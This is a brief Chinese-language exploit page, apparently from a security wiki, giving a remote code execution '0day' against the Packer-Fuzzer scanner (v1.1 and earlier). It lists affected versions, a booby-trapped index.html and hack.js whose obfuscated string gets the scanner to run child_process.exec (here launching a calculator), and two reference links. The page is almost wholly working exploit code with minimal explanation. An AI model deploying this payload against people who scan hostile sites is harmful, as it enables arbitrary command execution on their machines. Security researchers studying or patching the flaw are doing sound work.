Loading
◆◆0

Packer-Fuzzer漏洞扫描工具RCE 0day

PWNWIK.COM

,

影响版本

v1.1或者以下版本

EXP

index.html

<html>
    <noscript>naive!</noscript>
    <body>
        <script src="./hack.js"></script>
    </body>
</html>

hack.js

document.createElement("script");
q.p+"";eval(decodeURI("require(%27child_process%27).e%78ec(%27mate-calc%27)"));//"{114514:;s.js

参考

https://github.com/TomAPU/poc_and_exp/tree/master/Packer-Fuzzer-RCE

https://drivertom.blogspot.com/2021/01/packer-fuzzerrce-0day.html

PWNWIK.COM